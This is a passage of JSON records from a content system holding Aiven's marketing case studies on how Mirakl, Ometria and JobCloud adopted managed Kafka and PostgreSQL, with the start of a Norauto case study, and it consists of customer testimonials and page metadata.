solution","variant":"oneColumn"},{"_key":"7fb0d7e6f334","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8300de6f8dae","_ref":"3tXwSEUdnarePzOUOioUIA","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"f843584ceba7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"316aa7107b84","_type":"block","children":[{"_key":"913b40919d8e0","_type":"span","marks":[],"text":"So how did it go, betting on Aiven? After three years, Mirakl are more than happy. They are seeing multiple benefits from using Aiven for Apache Kafka, as opposed to setting up their own Kafka cluster. One big advantage is of course the fact that Aiven handles all the management and upgrade tasks."}],"markDefs":[],"style":"normal"},{"_key":"16f17fe6aa5b","_type":"block","children":[{"_key":"e9176156a6ad0","_type":"span","marks":[],"text":"“It’s critical for us to have our developers focused on delivering value, instead of struggling with operations,” Nagi says. “To put it bluntly, we’re an e-marketplace company, not a Kafka maintainer.”"}],"markDefs":[],"style":"normal"},{"_key":"81aa052f9a40","_type":"block","children":[{"_key":"48b2951ef7740","_type":"span","marks":[],"text":"Mirakl are also discovering that their time-to-market has been greatly reduced. The reason lies very much at the grass root level. A monolithic application has a single codebase, which limits the number of developers or teams who can work on it concurrently. With microservices, teams can work on different parts of the system at the same time. This cuts down on development time and increases the agility of the business."}],"markDefs":[],"style":"normal"},{"_key":"d7b9d9c65d94","_type":"block","children":[{"_key":"4bfffaa365b30","_type":"span","marks":[],"text":"At first glance, using a managed service looks more expensive than a self-hosted cluster. But after you add up the maintenance, support and connector development costs, and add the constant concern of keeping your critical resources onboard, the total cost of ownership is actually much lower."}],"markDefs":[],"style":"normal"},{"_key":"0c250a9fbcd0","_type":"block","children":[{"_key":"24ab1b62f2280","_type":"span","marks":[],"text":"Mirakl are currently running about 100 servers and tons of microservices; Kafka processes some 9000 messages every second. This means upgrades are a headache, but they’re no longer Mirakl’s headache."}],"markDefs":[],"style":"normal"},{"_key":"50de91f911b8","_type":"block","children":[{"_key":"c5d1395e30ca0","_type":"span","marks":[],"text":"“Thanks to Aiven, the time our teams used to spend on running Apache Kafka can instead be poured into our core business. We’ve found exactly the partner we were looking for. They take care of the infrastructure securely and reliably, but we still hold the keys to our own data.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"d3619318c40d","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"55ac6513020c","_ref":"6o19IduEDExw1J5ljgPfvG","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"gatedContent":[{"_key":"600c861936c6","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"c86f4fc76754","_type":"block","children":[{"_key":"c7285d8d61fa0","_type":"span","marks":[],"text":"Fast growing online marketplace platform provider Mirakl was spending too much time and effort creating and maintaining a monolith system for each customer. Aiven for Apache Kafka enabled their transformation to cloud-native services, offering a scalable managed solution for a microservice architecture."}],"markDefs":[],"style":"normal"},{"_key":"25c440217136","_type":"block","children":[{"_key":"985b7236146f0","_type":"span","marks":[],"text":"Operating expenses reduced by 70%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5b526e567716","_type":"block","children":[{"_key":"69c97c5f65c30","_type":"span","marks":[],"text":"Agile development process enabled"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8a4461401171","_type":"block","children":[{"_key":"d01c7f4434f50","_type":"span","marks":[],"text":"Time to market improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c2c9e3c53b9d","_type":"block","children":[{"_key":"b796b0c2f9ee0","_type":"span","marks":[],"text":"Managed solution without surrendering control of data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"This online marketplace provider moved to the cloud, using Apache Kafka to improve scalability and reduce maintenance effort.","heroTitle":"Mirakl goes cloud-native with Aiven","hostProviders":[{"_key":"2f4811fdc0e4","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2021-12-28/74gcd","iframeTitle":"Mirakl case study","title":"Read the rest of this case study by leaving your contact below. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-12-09T12:02:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® enabled online marketplace platform provider Mirakl to transform to cloud-native services and reduced their OpEx by 70%.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b721f4d2e8d674daea7445cdc07bcaa9988d199a-1200x630-jpg","_type":"reference"}},"metaTitle":"Mirakl goes cloud-native with Aiven"},"services":[{"_key":"9e83e97bffcb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"c6940e61cabe","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/mirakl-goes-cloud-native-with-aiven"},"title":"Mirakl"} {"__i18n_lang":"en","_createdAt":"2022-09-17T19:57:24Z","_id":"30d018ed-82c6-40b5-9155-e36eda484cfe","_rev":"iFqNzOUeP20hjvWPytlpve","_type":"caseStudy","_updatedAt":"2023-06-20T08:07:57Z","company":{"_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},"content":[{"_key":"8c7899e12a94","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a8029d9c5def","_type":"block","children":[{"_key":"fea30d7beb660","_type":"span","marks":["beb114fa606c"],"text":"Ometria"},{"_key":"240cea08e5db","_type":"span","marks":[],"text":" is an AI-powered customer marketing platform that enables retailers to deliver a consistent, personalized customer experience across different channels. The company’s powerful customer data platform brings together data from all customer touchpoints to create a detailed profile of each user. Their solutions deliver customer intelligence insights that marketers can use to optimize campaigns, segment shoppers based on predictive behaviors, determine when a customer is likely low on a replenishable item, and more."}],"markDefs":[{"_key":"beb114fa606c","_type":"link","href":"https://ometria.com/"}],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"767dd412c460","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6e169027243b","_type":"block","children":[{"_key":"193ceabdc67e0","_type":"span","marks":[],"text":"To deliver this kind of customer insight, Ometria must gather, unify, and analyze large amounts of data, and make that data readily available in their platform where their customers can access it whenever they need to."}],"markDefs":[],"style":"normal"},{"_key":"03de7ef15779","_type":"block","children":[{"_key":"dae50a45755b0","_type":"span","marks":[],"text":"To do that as effectively as possible, Ometria needed to enhance their data processing capabilities while reducing costs and latency. At the same time, they needed to increase the stability of their solution."}],"markDefs":[],"style":"normal"},{"_key":"e3469d02c36f","_type":"block","children":[{"_key":"221e0f1445420","_type":"span","marks":[],"text":"For quite a while, Ometria had been using fully managed and hosted AWS RDS with a PostgreSQL instance type, but the company was running into severe technical challenges relying on that setup. For example, traffic would spike when customers ran reports or launched campaigns, resulting in reliability and stability issues for their customers. To accommodate peak traffic, Ometria had to overprovision their AWS environment, but that led to increased costs."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"0461b3eca95a","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"ea5ac0ea963a","_type":"block","children":[{"_key":"8cbe2b0e76c20","_type":"span","marks":[],"text":"Seeking a better way forward, Ometria began looking for a new database solution."}],"markDefs":[],"style":"normal"},{"_key":"358a1b5c23e9","_type":"block","children":[{"_key":"ce02d238f4220","_type":"span","marks":[],"text":"At this time, members of the Ometria team saw how other companies like Zalando were using storage optimized instances for database workloads, so they began to search for a vendor who could offer such a solution."}],"markDefs":[],"style":"normal"},{"_key":"f5ee2f8ba15b","_type":"block","children":[{"_key":"2ec88c31c4860","_type":"span","marks":[],"text":"Soon they came across "},{"_key":"5df258e3fc9a","_type":"span","marks":["bc8185413db7"],"text":"Aiven’s benchmark report"},{"_key":"5a94db9fd47c","_type":"span","marks":[],"text":", which includes instances with local SSDs, and decided to try out Aiven for PostgreSQL. The results impressed the team, particularly how effectively the solution’s native SSD performance was able to handle their often spiky data load."}],"markDefs":[{"_key":"bc8185413db7","_type":"internalLink","internalLink":{"_ref":"3dUGXzwFO7JCACUPmYsDic","_type":"reference"}}],"style":"normal"},{"_key":"5e8d1608a39b","_type":"block","children":[{"_key":"a06076c9c0e40","_type":"span","marks":[],"text":"“We haven’t seen another provider in our region in AWS that uses native SSDs,” explains Al James, CTO of Ometria. “No other provider could give us the performance boost we needed.”"}],"markDefs":[],"style":"normal"},{"_key":"f9fc45e3af89","_type":"block","children":[{"_key":"da57f7c596b00","_type":"span","marks":[],"text":"Aiven for PostgreSQL is now central to Ometria’s entire architecture. Postgres receives all the data that flows into Ometria and is synthesized by the reporting and analytics engines, marketing automation and personalization tools that plug into Postgres."}],"markDefs":[],"style":"normal"},{"_key":"fcdc2152d24a","_type":"block","children":[{"_key":"6d04851eed100","_type":"span","marks":[],"text":"Ometria also decided to take their reliance on Aiven further. The company is now using Aiven for Elasticsearch, which is the easiest solution for receiving data logs given their Postgres setup. In addition, they are looking into Aiven for Kafka, particularly due to the availability of managed upgrades and hosted Kafka Connect."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"36deb597c42e","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"bd9d58e8811c","_ref":"cc82bfa9-f084-488f-a9b4-5f0621717108","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"86488bb142ee","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4b2000ef61f1","_type":"block","children":[{"_key":"fc6aca9d1a3e0","_type":"span","marks":[],"text":"As a result of having Aiven manage their backend data components, Ometria is now able to focus more intently on building their core applications while Aiven automates the mundane tasks away."}],"markDefs":[],"style":"normal"},{"_key":"860ea465c757","_type":"block","children":[{"_key":"3aa7ccabbf760","_type":"span","marks":[],"text":"Here are the main benefits that Aiven has brought for Ometria."}],"markDefs":[],"style":"normal"},{"_key":"45de5a5f5cb2","_type":"block","children":[{"_key":"afb0675416870","_type":"span","marks":[],"text":"1. Faster reporting speeds"}],"markDefs":[],"style":"h3"},{"_key":"fd6e5be74989","_type":"block","children":[{"_key":"b21e9feef5830","_type":"span","marks":[],"text":"Thanks to Aiven for PostgreSQL instances with local SSDs, reporting is dramatically quicker for Ometria’s customers, enabling their users to get the insights they need in less\ntime and with less frustration. “We’ve saved our customers something like 2.6 years of staring at a loading spinner,” Al says."}],"markDefs":[],"style":"normal"},{"_key":"aaff946e2b5a","_type":"block","children":[{"_key":"b8387236875d0","_type":"span","marks":[],"text":"2. Reduced costs"}],"markDefs":[],"style":"h3"},{"_key":"8d3326e9e16c","_type":"block","children":[{"_key":"1963cfb2d2e80","_type":"span","marks":[],"text":"To cope with peak loads, Ometria previously had to overprovision their AWS environment. Now they can save money by running Aiven’s PostgreSQL instances with lower machine specifications, and then scale up only when needed."}],"markDefs":[],"style":"normal"},{"_key":"133348138976","_type":"block","children":[{"_key":"5c44f0ec8b200","_type":"span","marks":[],"text":"“Aiven has been a great partner in providing managed services and offering better and lower cost of ownership than comparable AWS offerings,” Al says. “The products are very easy to use and allow us to make decisions about technology choices faster than we would before, and with less risk, so that we can evaluate a wider pool of technology choices.”"}],"markDefs":[],"style":"normal"},{"_key":"b1ada6562a0c","_type":"block","children":[{"_key":"6f02b961d63c0","_type":"span","marks":[],"text":"3. Less maintenance"}],"markDefs":[],"style":"h3"},{"_key":"561cfb22b81f","_type":"block","children":[{"_key":"34037acf9e270","_type":"span","marks":[],"text":"With Aiven, Ometria’s platform is future-proof. They will always be using the safest, most secure, and most feature- rich version of PostgreSQL without having to do any heavy lifting themselves."}],"markDefs":[],"style":"normal"},{"_key":"e742d77d39b5","_type":"block","children":[{"_key":"2f1ebdd8ba7b0","_type":"span","marks":[],"text":"“When a bug happens in the PostgreSQL universe, Aiven upgrades to the latest version so we don’t have to worry about that,” Al continues. “The solutions don’t require a dedicated maintenance team to run them.”"}],"markDefs":[],"style":"normal"},{"_key":"7a9ee74af650","_type":"block","children":[{"_key":"e954e24f3f820","_type":"span","marks":[],"text":"4. Rapid expansion"}],"markDefs":[],"style":"h3"},{"_key":"cbbeb4fac4a2","_type":"block","children":[{"_key":"cb66981702290","_type":"span","marks":[],"text":"The improved PostgreSQL performance enables Ometria to land larger clients and larger contracts — which was instrumental in their recent Series A funding achievement."}],"markDefs":[],"style":"normal"},{"_key":"777b6e36e0b5","_type":"block","children":[{"_key":"6ba232bb7f210","_type":"span","marks":[],"text":"“We’re dealing with bigger clients than we dealt with before, and Aiven was one of the strategies we used to be able to achieve that,” Al says. “We had a situation where certain workloads at this new client size wouldn’t have been feasible or cost-effective in RDS. That was huge for us.”"}],"markDefs":[],"style":"normal"},{"_key":"878d672e105e","_type":"block","children":[{"_key":"4b59f253b57f0","_type":"span","marks":[],"text":"One last piece of advice?\n“Never host your own stuff,” Al concludes."}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-ometria-en","gatedContent":[{"_key":"bf478356f47f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a25076685e56","_type":"block","children":[{"_key":"94949d3b53680","_type":"span","marks":[],"text":"Ometria serves the needs of hundreds of retail marketers by delivering detailed information about their customers, which is then used to create personalized marketing experiences through Ometria’s marketing platform."}],"markDefs":[],"style":"normal"},{"_key":"68e5f9aa1f5c","_type":"block","children":[{"_key":"4b20cc8fc7430","_type":"span","marks":[],"text":"Ometria’s data volumes have grown considerably since the company’s founding in 2013, and their existing setup with AWS RDS began to creak under the load. They found themselves continually increasing provisioned IOPS to achieve stability, but that solution was costing them lots of money."}],"markDefs":[],"style":"normal"},{"_key":"196661589c2a","_type":"block","children":[{"_key":"72acc26dfeed0","_type":"span","marks":[],"text":"Fortunately, Ometria found a way to cope with increasing data volumes without overprovisioning their environment by moving to Aiven’s scalable PostgreSQL® solution. Download the full case study to find out why they selected Aiven and how we helped solve their problem!"}],"markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"Ometria's marketing platform delivers a consistent, personalized customer experience across many channels using Artifical Intelligence and PostgreSQL.","heroTitle":"Ometria delivers customer insights faster and more reliably with Aiven","hostProviders":[{"_key":"598154dd2abb","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2020-11-06/ptx","iframeTitle":"Ometria case study","title":"To read the rest of this case study, tell us a bit about yourself. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-09-09T10:58:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Ometria found a way to cope with increasing data volumes without overprovisioning their environment by moving to Aiven’s scalable PostgreSQL® solution.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729-1200x630-jpg","_type":"reference"}},"metaTitle":"Ometria delivers customer insights faster with Aiven"},"services":[{"_key":"69b4b8ddbcf5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"62138b3f479a","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"a76c3c7b5c1c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-for-postgresql-helps-ometria"},"title":"Ometria"} {"__i18n_lang":"en","_createdAt":"2022-09-16T14:43:07Z","_id":"d2079e28-672a-437e-98c0-88b9fc32cd90","_rev":"iFqNzOUeP20hjvWPytomK9","_type":"caseStudy","_updatedAt":"2023-06-20T08:13:00Z","additionalResources":{"items":[{"_key":"440c04bca3a7","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-1272a23b189a39fd2b65698279c63cf86df3e5a8-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"c81b88177f63","_type":"block","children":[{"_key":"8ded35cdb5690","_type":"span","marks":[],"text":"If you’re looking for a modern, responsive, and flexible architecture for rapid data flows, you’ll want to start looking at event-driven architecture."}],"markDefs":[],"style":"normal"}],"title":"Event Driven Architecture","variant":"default"},{"_key":"e3cb0d587080","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/karapace.html","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-beadaa503b9938312fbb085cdf070c4dd202a1ae-2500x1308-webp","_type":"reference"}},"subtitle":[{"_key":"623e03feb3fe","_type":"block","children":[{"_key":"b271087110310","_type":"span","marks":[],"text":"Karapace enables you to produce and consume messages, and manage your Kafka cluster via REST APIs."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Create, manage and evolve message schemas with Karapace","variant":"default"},{"_key":"163fb6d1eb94","_ref":"6ZcP2aj9aXVAN0Dh2tlga5","_type":"reference"}],"subtitle":[{"_key":"fc87b547562c","_type":"block","children":[{"_key":"bcd75c704ae60","_type":"span","marks":[],"text":"Check out these related resrouces in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"4bcb9c76d3cf","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"daa219c34c86","_type":"block","children":[{"_key":"fc973867042c0","_type":"span","marks":[],"text":"JobCloud has the biggest job boards in Switzerland. Since they decided to implement an event-driven architecture, Aiven for Apache Kafka® has been helping them leverage their old infrastructure and add elements with no downtime and sustained performance."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"271f2e684926","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"aafc1e5c7d99","_type":"block","children":[{"_key":"fec8e20e86490","_type":"span","marks":[],"text":"JobCloud implemented an event-driven architecture on top of their existing data infra with Aiven for Apache Kafka® and can add new elements to their big job board infra without downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"72742cfe8707","_type":"block","children":[{"_key":"3ef4194c54b40","_type":"span","marks":[],"text":"Aiven can provide all features needed like ACLs on topics and locking integration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"975b91e76604","_type":"block","children":[{"_key":"eb02201d04f80","_type":"span","marks":[],"text":"Aiven for Kafka just quietly works as it should without making an issue of itself."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"10c0cf04a52f","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8e73eed61df3","_ref":"3pviVub1qvgtuVBg55hLy9","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"5397c6d1d588","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f17fddfb6f35","_type":"block","children":[{"_key":"16223feb899a0","_type":"span","marks":[],"text":"Founded in 2013, JobCloud provides traditional job-posting and job-searching services as well as multilingual semantic recruitment technologies, candidate management, employer branding tools, analytics and programmatic job ads."}],"markDefs":[],"style":"normal"},{"_key":"bafdfb29d3df","_type":"block","children":[{"_key":"6541a17470d10","_type":"span","marks":[],"text":"For historical reasons, JobCloud had ended up running a number of legacy systems. “We have a lot of legacy systems in place, using outdated languages and implemented with a really strange database setup, and nobody dared to touch them,” says Nicolas Chiu, Lead Software Developer at JobCloud. The systems were just there, mostly working, but this was hardly ideal from a maintenance viewpoint."}],"markDefs":[],"style":"normal"},{"_key":"8e16e12b887f","_type":"block","children":[{"_key":"78e5a222a8350","_type":"span","marks":[],"text":"JobCloud’s goal was to modernise their systems into an event-driven architecture to better support modern data requirements. At the same time, they really didn’t want to directly access the strange APIs. The easiest answer, it seemed, would be to insert a messaging layer between the other systems that would separate the complexity of the legacy systems from other services, whether existing or new."}],"markDefs":[],"style":"normal"},{"_key":"2cb81dff3c09","_type":"block","children":[{"_key":"56d2a62e37f30","_type":"span","marks":[],"text":"After months of evaluating messaging and streaming solutions, JobCloud decided to go with Apache Kafka, arguably the quintessential solution for streaming event data. “It has a huge ecosystem and contributor base. It also has a lot of connectors, which makes it easy to integrate other systems,” Nick says."}],"markDefs":[],"style":"normal"},{"_key":"4334b6ce9afd","_type":"block","children":[{"_key":"b1c2f061f93c0","_type":"span","marks":[],"text":"But Apache Kafka is not the easiest system to run."}],"markDefs":[],"style":"normal"},{"_key":"93dbf0d62d08","_type":"block","children":[{"_key":"b97e675fe55a0","_type":"span","marks":[],"text":"“When we started out, we noticed that Apache Kafka has a huge learning curve. There's just so many things that you can configure. And at the very beginning, we were really overwhelmed.”"}],"markDefs":[],"style":"normal"},{"_key":"adec37a00055","_type":"block","children":[{"_key":"406fa173582d0","_type":"span","marks":[],"text":"Finding a provider wasn’t easy, either. The first one they tried couldn’t offer all the features they needed, like ACLs on topics and locking integration, in spite of the prohibitive price tag. The JobCloud systems also proved to be too much for the provider’s technical capabilities."}],"markDefs":[],"style":"normal"},{"_key":"4579f9369db5","_type":"block","children":[{"_key":"6cb6d5d739c70","_type":"span","marks":[],"text":"“We were desperate to find anything better, and back then it was really hard to find good providers,” Nick reminisces. “So when we found Aiven, we were immediately like '"},{"_key":"6cb6d5d739c71","_type":"span","marks":["em"],"text":"hel-lo, what kind of plans do you have to offer"},{"_key":"6cb6d5d739c72","_type":"span","marks":[],"text":"?!'”"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"142e225301b7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"8b78824c7eac","_type":"block","children":[{"_key":"b67721b9086e0","_type":"span","marks":[],"text":"“We’ve never had any problems with Aiven,” says Nick. “No interruptions, nothing, not even when there are lots of maintenance updates and Kafka versions to apply at once. The only thing we see in the monitoring is the broker names and whatever change. Nothing bad ever happens.”"}],"markDefs":[],"style":"normal"},{"_key":"a3ea6d3336ec","_type":"block","children":[{"_key":"10680f5f7bd0","_type":"span","marks":[],"text":"Thinking about it, Nick can remember one instance when JobCloud had to open a real support case with Aiven. “But it was solved so quickly, and it went away so completely, that I can’t even remember what it was about,” he chuckles."}],"markDefs":[],"style":"normal"},{"_key":"a987fe6d91a6","_type":"block","children":[{"_key":"1810559f3e63","_type":"span","marks":[],"text":"Aiven is always looking for ways to serve customers better, like all companies, but Nick is particularly impressed by the way Aiven goes about it. He feels that the customer’s feedback and input is actively sought and then acted on where it comes to things like feature roadmaps."}],"markDefs":[],"style":"normal"},{"_key":"d6a3aa89b0cf","_type":"block","children":[{"_key":"46e09c73f246","_type":"span","marks":[],"text":"Over the past three years, JobCloud’s event-driven structure has grown and is still growing heavily, and everything still works like a dream. The company has been able to live with its legacy architecture while still expanding and helping ever-increasing numbers of employers and job seekers."}],"markDefs":[],"style":"normal"},{"_key":"a41b079b778e","_type":"block","children":[{"_key":"f6c467097b05","_type":"span","marks":[],"text":"\n“We’re really, really happy with the approach that we took, and that we chose Aiven as the provider,” Nick says. “I see a bright future for us here.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"598bfac3094a","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"063a4c928702","_ref":"4Qd6emFx0ptwrA3MctQo8H","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"266650821aa1","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"869e7f2a0446","_type":"block","children":[{"_key":"8aee494b37120","_type":"span","marks":[],"text":"Right now, day by day, JobCloud sysadmins hardly even remember that Aiven for Kafka is there. It’s just working as it should, and nothing’s really going on."}],"markDefs":[],"style":"normal"},{"_key":"8384b6b21abf","_type":"block","children":[{"_key":"da5eb98c37b50","_type":"span","marks":[],"text":"“We’ve never had any problems with Aiven,” says Nick. “No interruptions, nothing, not even when there are lots of maintenance updates and Kafka versions to apply at once. The only thing we see in the monitoring is the broker names and whatever change. Nothing bad ever happens.”"}],"markDefs":[],"style":"normal"},{"_key":"0519342d0f6e","_type":"block","children":[{"_key":"9b6c9f426aaf0","_type":"span","marks":[],"text":"Thinking about it, Nick can remember one instance when JobCloud had to open a real support case with Aiven. “But it was solved so quickly, and it went away so completely, that I can’t even remember what it was about,” he chuckles."}],"markDefs":[],"style":"normal"},{"_key":"db2fc6fe2372","_type":"block","children":[{"_key":"d413cd02d0570","_type":"span","marks":[],"text":"Aiven is always looking for ways to serve customers better, like all companies, but Nick is particularly impressed by the way Aiven goes about it. He feels that the customer’s feedback and input is actively sought and then acted on where it comes to things like feature roadmaps."}],"markDefs":[],"style":"normal"},{"_key":"157771c2c529","_type":"block","children":[{"_key":"99e35f5f4be50","_type":"span","marks":[],"text":"Over the past three years, JobCloud’s event-driven structure has grown and is still growing heavily, and everything still works like a dream. The company has been able to live with its legacy architecture while still expanding and helping ever-increasing numbers of employers and job seekers."}],"markDefs":[],"style":"normal"},{"_key":"82cda57e63cd","_type":"block","children":[{"_key":"e376ed1efb7b0","_type":"span","marks":[],"text":"“We’re really, really happy with the approach that we took, and that we chose Aiven as the provider,” Nick says. “I see a bright future for us here.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"}],"contentIsGated":false,"heroHasVideo":true,"heroSubtitle":"After a long time juggling legacy systems, JobCloud now runs Switzerland's largest job board on Apache Kafka.","heroTitle":"JobCloud builds event-driven architecture with Aiven","hostProviders":[{"_key":"f34bb79eac9e","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-082c80259dafd382aaad00cb25eb21fbd56f8845-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-10-20T11:01:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"JobCloud has the biggest job boards in Switzerland. Since they decided to implement an event-driven architecture, Aiven for Apache Kafka® has been helping them leverage their old infrastructure and add elements with no downtime and sustained performance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8f03ee94be827403c97af15215c6f847743aa148-1200x630-jpg","_type":"reference"}},"metaTitle":"JobCloud builds event-driven architecture with Aiven"},"services":[{"_key":"ddd07c62e437","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/building-event-driven-architecture-with-aiven"},"title":"JobCloud","ytId":"zUM6sT3SNAM"} {"__i18n_lang":"en","_createdAt":"2022-09-05T14:19:11Z","_id":"aa91894d-4565-4847-8728-392a20b4b507","_rev":"iFqNzOUeP20hjvWPytmEke","_type":"caseStudy","_updatedAt":"2023-06-20T08:08:34Z","additionalResources":{"items":[{"_key":"3872c5dcc5d4","_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},{"_key":"066e7388a163","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/integrations-and-connectors","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"ca66c7dbca09","_type":"block","children":[{"_key":"092216c1725d0","_type":"span","marks":[],"text":"We offer the connectors and extentions you need to quickly integrate Aiven services with your existing infrastructure."}],"markDefs":[],"style":"normal"}],"title":"70 + PostgreSQL® extensions","variant":"default"},{"_key":"075c6f0a7eeb","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/security-compliance","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-9b5ec06adebbc974c13a75db07da453477b15642-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"9569a4d8d3bc","_type":"block","children":[{"_key":"471b11420ac60","_type":"span","marks":[],"text":"We maintain compliance with all major data regulations and are ISO 27001 certified"}],"markDefs":[],"style":"normal"}],"title":"Premium level of security on all accounts","variant":"default"}],"subtitle":[{"_key":"1b93008715ae","_type":"block","children":[{"_key":"916899deee99","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"9da9bad05131","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0a1595e14e1e","_type":"block","children":[{"_key":"fee1aef73ef20","_type":"span","marks":[],"text":"Norauto is a successful retail entity focusing on car repairs, accessories and parts. It’s a brand name in the massive Mobivia company group, which operates in 19 countries around the world and employs over 22,000 people. Norauto runs many different digital services for their customers that depend on a wide variety of open source 